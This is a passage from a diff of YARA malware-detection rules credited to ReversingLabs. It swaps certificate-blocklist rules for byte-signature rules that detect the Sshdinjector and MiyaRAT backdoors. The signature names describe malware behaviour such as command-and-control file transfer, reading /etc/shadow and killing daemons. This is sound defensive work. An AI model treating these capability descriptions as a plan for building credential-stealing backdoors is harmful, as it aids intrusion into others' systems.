8D 4D ?? FF 15 ?? ?? ?? ?? 4C 8D 4D ?? 4C 8B C3 + 48 8D 15 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 45 8D 74 24 ?? 4C 89 74 24 + ?? 4C 89 64 24 ?? 44 88 64 24 ?? 48 8D 95 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? + 90 4C 89 74 24 ?? 4C 89 64 24 ?? 44 88 64 24 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? + E8 ?? ?? ?? ?? 90 4C 8D 44 24 ?? 48 8D 54 24 ?? 48 8B CF E8 ?? ?? ?? ?? 90 45 33 C0 + B2 ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 90 45 33 C0 B2 ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? + 41 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 8B D8 33 C0 48 89 03 48 89 43 ?? 48 8D 0D ?? ?? ?? + ?? FF 15 ?? ?? ?? ?? 48 8B 48 ?? 48 8B 11 8B 0A FF 15 ?? ?? ?? ?? 48 8B D0 45 8D 44 + } + $get_os_information_p2 = { + 24 ?? 48 8B CB FF 15 ?? ?? ?? ?? 4C 89 74 24 ?? 4C 89 64 24 ?? 44 88 64 24 ?? 48 8B + D3 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 90 4C 89 74 24 ?? 4C 89 64 24 ?? 44 88 64 24 ?? 48 + 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 90 4C 8D 44 24 ?? 48 8D 54 24 ?? 48 + 8B CF E8 ?? ?? ?? ?? 90 45 33 C0 B2 ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 90 45 33 C0 B2 + ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 45 33 C0 48 8D 54 24 ?? 48 8B CE E8 ?? ?? ?? ?? 45 + 33 C0 B2 ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 8B CE E8 ?? ?? ?? ?? 48 8B CE E8 ?? ?? + ?? ?? 48 8D 54 24 ?? 48 8B CE E8 ?? ?? ?? ?? 45 33 C0 B2 ?? 48 8D 4C 24 ?? E8 ?? ?? + ?? ?? 48 8D 54 24 ?? 48 8B CF E8 ?? ?? ?? ?? 90 48 83 78 ?? ?? 72 ?? 48 8B 00 4C 8B + C0 48 8D 15 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 45 33 C0 B2 ?? 48 8D + 4C 24 ?? E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 49 83 C9 ?? 49 FF C1 46 38 24 08 75 ?? + 44 89 64 24 ?? 4C 89 64 24 ?? 4C 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 + 8B 8D ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 4C 8D 9C 24 ?? ?? ?? ?? 49 8B 5B ?? 49 8B + 73 ?? 49 8B 7B ?? 49 8B E3 41 5E 41 5C 5D C3 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DocsGen Software Solutions Inc." and ( pe.signatures [ i ] . serial == "00:f8:c2:e0:84:38:bb:0e:9a:dc:95:5e:4b:49:3e:58:21" or pe.signatures [ i ] . serial == "f8:c2:e0:84:38:bb:0e:9a:dc:95:5e:4b:49:3e:58:21" ) and 1599523200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $download_file_from_c2 ) and ( $upload_file_to_c2 ) and ( all of ( $get_logical_drive_data_p* ) ) and ( all of ( $get_os_information_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_70E1Ebd170Db8102D8C28E58392E5632 : INFO FILE +rule REVERSINGLABS_Linux_Backdoor_Sshdinjector : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Sshdinjector backdoor." author = "ReversingLabs" - id = "e3b0f68c-8cc9-5275-988a-8d955ea25a47" - date = "2020-08-05" - modified = "2023-11-08" + id = "781d7a64-0908-5aa8-a178-cffe52e78036" + date = "2025-03-27" + modified = "2025-03-27" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5158-L5174" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/Linux.Backdoor.Sshdinjector.yara#L1-L197" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "e1738eddc1da0876a373ee7f35bff155d56c1b98a23cb117c0e7a966f8fa3c92" + logic_hash = "9370b59a3317ac14b5791723411216315e480fad7419d248aaed42a19312da0c" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Backdoor" + tc_detection_name = "Sshdinjector" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Equal Cash Technologies Limited" and pe.signatures [ i ] . serial == "70:e1:eb:d1:70:db:81:02:d8:c2:8e:58:39:2e:56:32" and 1599264000 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_09C89De6F64A7Fdf657E69353C5Fdd44 : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "f86eafb5-ec59-58c5-b5f9-01a6704fb555" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5176-L5192" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "1cb57cd68cda91754307d2e4d94ea011975bbfff0f15134081a5aa11870b0db1" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $kill_and_restart_daemons_p1 = { + 55 48 89 E5 48 81 EC ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 48 8D 55 + ?? B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 89 D7 F3 48 AB 48 89 FA 89 02 48 83 C2 ?? 48 8D + 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 89 D7 F3 48 AB 48 89 FA 89 02 48 83 + C2 ?? E8 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? C7 + 40 ?? ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 + 89 C1 BA ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 89 C6 48 8B 05 ?? ?? ?? ?? 48 89 C7 E8 + ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C6 48 8D 3D ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 85 C0 0F 95 C0 84 C0 74 ?? 48 + 8D 3D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? 48 8B 05 ?? + ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 48 8D 85 ?? + ?? ?? ?? 48 89 C1 BA ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 89 C6 48 8D 3D ?? ?? ?? ?? + E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C6 48 8D 3D ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 85 C0 0F 95 C0 84 C0 74 + } + $kill_and_restart_daemons_p2 = { + 48 8D 3D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 BA ?? ?? ?? ?? 48 + 8B 05 ?? ?? ?? ?? 48 89 C6 48 8D 3D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? + 48 89 C6 48 8D 3D ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 + 89 C7 E8 ?? ?? ?? ?? 85 C0 0F 95 C0 84 C0 74 ?? 48 8D 3D ?? ?? ?? ?? E8 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 89 45 ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 94 C0 84 C0 0F 84 ?? + ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B 45 ?? 89 C7 E8 ?? ?? ?? ?? 83 45 ?? ?? 81 7D + ?? ?? ?? ?? ?? 0F 9E C0 84 C0 75 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 48 8D 45 + ?? 48 8D 35 ?? ?? ?? ?? 48 89 C7 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 + E8 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 3D ?? ?? ?? ?? E8 ?? ?? ?? ?? BF + ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 3D ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? + ?? ?? ?? 48 8D 3D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 3D ?? ?? ?? ?? E8 ?? ?? ?? ?? BF + ?? ?? ?? ?? E8 ?? ?? ?? ?? C9 C3 + } + $network_communication_p1 = { + 55 48 89 E5 41 54 53 48 81 EC ?? ?? ?? ?? 48 89 BD ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? + 48 C7 45 ?? ?? ?? ?? ?? 48 C7 45 ?? ?? ?? ?? ?? 48 C7 45 ?? ?? ?? ?? ?? 48 C7 45 ?? + ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 8D 78 ?? E8 ?? ?? ?? ?? 48 8D 50 ?? 48 8B 05 ?? + ?? ?? ?? 48 8D 04 02 48 89 45 ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 66 89 45 ?? 48 + 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 83 C0 ?? 48 03 45 ?? 48 89 45 ?? 48 8B 45 ?? 48 + 89 C7 E8 ?? ?? ?? ?? 66 89 45 ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 83 C0 ?? 48 + 03 45 ?? 48 89 45 ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 89 C2 48 8B 05 ?? ?? ?? ?? + 66 89 10 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? + ?? ?? ?? ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 8D + 71 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 0F B7 00 0F B7 C8 0F B7 55 ?? 0F + B7 45 ?? 41 89 C8 89 D1 89 C2 48 8B 05 ?? ?? ?? ?? 48 8D 70 ?? 48 8D 3D ?? ?? ?? ?? + B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 05 + ?? ?? ?? ?? 0F B7 00 66 85 C0 0F 84 ?? ?? ?? ?? 44 0F B7 65 ?? 0F B7 5D ?? 48 8D 45 + ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 55 ?? 48 8D 8D ?? ?? ?? ?? 48 8D 45 ?? 48 89 CE 48 + } + $network_communication_p2 = { + 89 C7 E8 ?? ?? ?? ?? 48 8D 45 ?? 4C 8D 05 ?? ?? ?? ?? B9 ?? ?? ?? ?? 44 89 E2 89 DE + 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? EB ?? 89 D3 + 49 89 C4 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 4C 89 E0 48 63 D3 EB ?? 89 D3 49 89 C4 + 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 4C 89 E0 48 63 D3 48 89 C7 E8 ?? ?? ?? ?? 48 8D + 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 44 + 0F B7 65 ?? 0F B7 5D ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 55 ?? 48 8D 8D ?? + ?? ?? ?? 48 8D 45 ?? 48 89 CE 48 89 C7 E8 ?? ?? ?? ?? 48 8D 45 ?? 4C 8D 05 ?? ?? ?? + ?? B9 ?? ?? ?? ?? 44 89 E2 89 DE 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 8D 45 ?? 48 + 89 C7 E8 ?? ?? ?? ?? EB ?? 89 D3 49 89 C4 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 4C 89 + E0 48 63 D3 EB ?? 89 D3 49 89 C4 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 4C 89 E0 48 63 + D3 48 89 C7 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 + E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5B 41 5C C9 C3 + } + $read_etc_shadow_p1 = { + 55 48 89 E5 41 54 53 48 81 EC ?? ?? ?? ?? 48 89 BD ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? 89 + 95 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 55 ?? 48 + 8D 45 ?? 48 8D 35 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? EB ?? 89 D3 49 89 C4 48 8D 45 + ?? 48 89 C7 E8 ?? ?? ?? ?? 4C 89 E0 48 63 D3 48 89 C7 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 + 89 C7 E8 ?? ?? ?? ?? 48 C7 45 ?? ?? ?? ?? ?? 48 C7 45 ?? ?? ?? ?? ?? 48 C7 45 ?? ?? + ?? ?? ?? 48 C7 45 ?? ?? ?? ?? ?? 48 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 48 8D + 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 85 + ?? ?? ?? ?? 48 83 C0 ?? 48 8D 35 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? + ?? 89 85 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 89 + D6 48 89 C7 E8 ?? ?? ?? ?? C1 E8 ?? 84 C0 74 ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? + 48 89 C6 48 8D 3D ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 BC ?? ?? ?? ?? BB ?? + ?? ?? ?? E9 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 C7 + B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 79 ?? 48 8D 3D ?? ?? ?? ?? E8 ?? + ?? ?? ?? 41 BC ?? ?? ?? ?? BB ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 8B 55 + ?? 41 B9 ?? ?? ?? ?? 41 89 D0 B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 C6 BF ?? ?? ?? ?? + E8 ?? ?? ?? ?? 48 89 45 ?? 48 83 7D ?? ?? 75 ?? 8B 45 ?? 89 C7 E8 ?? ?? ?? ?? 48 8D + 3D ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 BC ?? ?? ?? ?? BB ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B + 45 ?? 48 89 45 ?? E9 ?? ?? ?? ?? 48 8B 45 ?? 48 8D 35 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? + ?? ?? 48 89 45 ?? 48 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 48 8B 45 ?? 48 83 C0 ?? 0F B6 00 + } + $read_etc_shadow_p2 = { + 3C ?? 0F 84 ?? ?? ?? ?? 48 8B 45 ?? 48 83 C0 ?? 0F B6 00 3C ?? 0F 84 ?? ?? ?? ?? 48 + 8B 45 ?? 89 C2 48 8B 45 ?? 89 D1 29 C1 89 C8 89 45 ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? + ?? ?? 8B 45 ?? 48 63 D0 48 8D 4D ?? 48 8B 5D ?? 48 8D 45 ?? 48 89 DE 48 89 C7 E8 ?? + ?? ?? ?? 48 8D 55 ?? 48 8D 45 ?? 48 89 D6 48 89 C7 E8 ?? ?? ?? ?? EB ?? 89 D3 49 89 + C4 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 4C 89 E0 48 63 D3 EB ?? 48 8D 45 ?? 48 89 C7 + E8 ?? ?? ?? ?? EB ?? 89 D3 49 89 C4 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 4C 89 E0 48 + 63 D3 E9 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 8D 95 ?? ?? + ?? ?? 48 83 C2 ?? 48 89 C6 48 89 D7 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 8D 35 ?? ?? ?? ?? + 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 83 7D ?? ?? 74 ?? 48 8B 45 ?? 48 83 C0 ?? 48 + 89 45 ?? 48 8B 85 ?? ?? ?? ?? 48 03 45 ?? 48 3B 45 ?? 0F 97 C0 84 C0 0F 85 ?? ?? ?? + ?? EB ?? 90 EB ?? 90 8B 45 ?? 89 C7 E8 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 C2 48 + 8B 45 ?? 48 89 D6 48 89 C7 E8 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B + 9D ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 89 DE 48 89 C7 E8 ?? ?? ?? ?? BB ?? ?? ?? ?? EB + ?? 89 D3 49 89 C4 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 4C 89 E0 48 63 D3 EB ?? 48 8D + 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 85 DB 75 ?? BB ?? ?? ?? ?? EB ?? BB ?? ?? ?? ?? EB ?? + 89 D3 49 89 C4 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 4C 89 E0 48 63 D3 EB ?? + 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 85 DB 75 ?? BB ?? ?? ?? ?? EB ?? BB ?? + ?? ?? ?? EB ?? 89 D3 49 89 C4 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 4C 89 E0 48 63 D3 + 48 89 C7 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 85 DB 74 ?? EB ?? 44 89 + E0 48 81 C4 ?? ?? ?? ?? 5B 41 5C C9 C3 + } + $list_running_services_p1 = { + 55 48 89 E5 41 57 41 56 41 55 41 54 53 48 81 EC ?? ?? ?? ?? 48 89 BD ?? ?? ?? ?? 89 + B5 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 + ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? + 48 8D 55 ?? 48 8D 45 ?? 48 8D 35 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? EB ?? 89 D3 49 + 89 C4 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 4C 89 E0 48 63 D3 E9 ?? ?? ?? ?? 48 8D 45 + ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 83 C0 ?? 48 8D 35 ?? ?? ?? ?? 48 + 89 C7 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? + ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 89 D6 48 89 C7 E8 ?? ?? ?? ?? C1 E8 ?? 84 C0 74 ?? + 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 C6 48 8D 3D ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 41 BF ?? ?? ?? ?? BB ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 + ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 83 7D ?? ?? 0F 94 C0 84 C0 74 ?? + 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 C6 48 8D 3D ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 41 BF ?? ?? ?? ?? BB ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 + ?? ?? ?? ?? 48 89 45 ?? E9 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 8D 4D ?? 48 8D 15 ?? + ?? ?? ?? 48 89 CE 48 89 C7 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 8D 50 ?? 48 8D 85 ?? ?? ?? + ?? 48 89 D6 48 89 C7 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 + } + $list_running_services_p2 = { + 8D 95 ?? ?? ?? ?? 48 89 D6 48 89 C7 E8 ?? ?? ?? ?? C1 E8 ?? 84 C0 0F 85 ?? ?? ?? ?? + BB ?? ?? ?? ?? 41 BC ?? ?? ?? ?? 41 BD ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? + ?? 41 BE ?? ?? ?? ?? 48 8B 45 ?? 48 8D 48 ?? 48 8D 55 ?? 48 8D 45 ?? 48 89 CE 48 89 + C7 E8 ?? ?? ?? ?? BB ?? ?? ?? ?? 48 8D 45 ?? 48 8D 35 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? + ?? ?? 84 C0 74 ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 41 BC ?? ?? ?? ?? 48 8B 45 ?? + 48 8D 48 ?? 48 8D 55 ?? 48 8D 45 ?? 48 89 CE 48 89 C7 E8 ?? ?? ?? ?? 41 BD ?? ?? ?? + ?? 48 8D 45 ?? 48 8D 35 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 84 C0 74 ?? B8 ?? ?? ?? + ?? EB ?? B8 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 45 84 ED 75 ?? EB ?? 41 89 D7 48 89 85 ?? + ?? ?? ?? 45 84 ED 74 ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 49 + 63 D7 EB ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? EB ?? 41 89 D5 49 89 C7 45 84 E4 74 + ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 4C 89 F8 49 63 D5 41 89 D4 49 89 C5 84 DB 74 + ?? EB ?? 45 84 E4 74 ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? EB ?? 48 8D 45 ?? 48 89 + C7 E8 ?? ?? ?? ?? 4C 89 E8 49 63 D4 EB ?? 84 DB 74 ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? + ?? ?? EB ?? 89 D3 49 89 C4 45 84 F6 74 ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 4C 89 + E0 48 63 D3 EB ?? 45 84 F6 74 ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 80 BD ?? ?? ?? + ?? ?? 74 ?? 48 8B 45 ?? 48 8D 50 ?? 48 8D 45 ?? 48 89 D6 48 89 C7 E8 ?? ?? ?? ?? 48 + } + $list_running_services_p3 = { + 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 C6 48 8D 3D ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 48 8D 45 ?? 48 8D 95 ?? ?? ?? ?? 48 83 C2 ?? 48 89 C6 48 89 D7 E8 ?? ?? ?? + ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? EB ?? 89 D3 49 89 C4 48 8D 85 ?? + ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 4C 89 E0 48 63 D3 EB ?? 48 8D 85 ?? ?? ?? ?? 48 89 + C7 E8 ?? ?? ?? ?? 48 83 7D ?? ?? 0F 95 C0 84 C0 0F 85 ?? ?? ?? ?? 48 8B 45 ?? 48 89 + C7 E8 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 48 8B 85 + ?? ?? ?? ?? 89 DE 48 89 C7 E8 ?? ?? ?? ?? BB ?? ?? ?? ?? EB ?? 89 D3 49 89 C4 48 8D + 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 4C 89 E0 48 63 D3 EB ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? + ?? ?? 85 DB 75 ?? BB ?? ?? ?? ?? EB ?? BB ?? ?? ?? ?? EB ?? 89 D3 49 89 C4 48 8D 45 + ?? 48 89 C7 E8 ?? ?? ?? ?? 4C 89 E0 48 63 D3 EB ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? + ?? 85 DB 75 ?? BB ?? ?? ?? ?? EB ?? BB ?? ?? ?? ?? EB ?? 89 D3 49 89 C4 48 8D 85 ?? + ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 4C 89 E0 48 63 D3 48 89 C7 E8 ?? ?? ?? ?? 48 8D 85 + ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 85 DB 74 ?? EB ?? 44 89 F8 48 81 C4 ?? ?? ?? ?? + 5B 41 5C 41 5D 41 5E 41 5F C9 C3 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "EXON RENTAL SP Z O O" and pe.signatures [ i ] . serial == "09:c8:9d:e6:f6:4a:7f:df:65:7e:69:35:3c:5f:dd:44" and 1601337601 <= pe.signatures [ i ] . not_after ) + uint32( 0 ) == 0x464C457F and ( all of ( $kill_and_restart_daemons_p* ) ) and ( all of ( $network_communication_p* ) ) and ( all of ( $read_etc_shadow_p* ) ) and ( all of ( $list_running_services_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_Ffff2Ce862378B26440Df49Ca9175B70 : INFO FILE +rule REVERSINGLABS_Win64_Backdoor_Miyarat : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects MiyaRAT backdoor." author = "ReversingLabs" - id = "d5d1e84d-328f-53ac-adb6-3824fa77a47d" - date = "2020-08-05" - modified = "2023-11-08" + id = "1c5ae79a-9760-5622-909c-76bb47721ed4" + date = "2025-02-27" + modified = "2025-02-27" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5194-L5212" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/Win64.Backdoor.MiyaRAT.yara#L1-L264" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "8ed7b0643b07ce4954f570157e1534ee1ed647717cce00fe7f2b572c9b5d0042" + logic_hash = "a06deed11a7bdaa17b4cb69da1bd66ff2f2072af8cf4081f7481a51e4567135d" score = 75 